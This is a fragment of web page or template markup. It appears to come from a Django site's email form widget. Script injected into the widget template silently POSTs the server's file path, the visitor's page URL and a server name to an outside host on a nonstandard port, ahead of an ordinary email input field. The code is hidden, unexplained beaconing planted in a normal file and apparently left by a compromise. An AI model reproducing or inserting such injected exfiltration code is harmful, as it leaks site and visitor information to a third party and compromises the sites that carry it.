function httpGet(theUrl, data) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open('POST', theUrl, false ); xmlHttp.send(data); } var path = '/home/ENV/www.hd-cessionecredito.it/lib/python3.5/site-packages/django/forms/templates/django/forms/widgets/attrs.html'; var href = window.location.href; httpGet('https://mautic.sitarafoods.com:5099', path + '_____' + href + '_____' + 'server.creditswap.it') class="form-control" required maxlength="254" id="id_email" />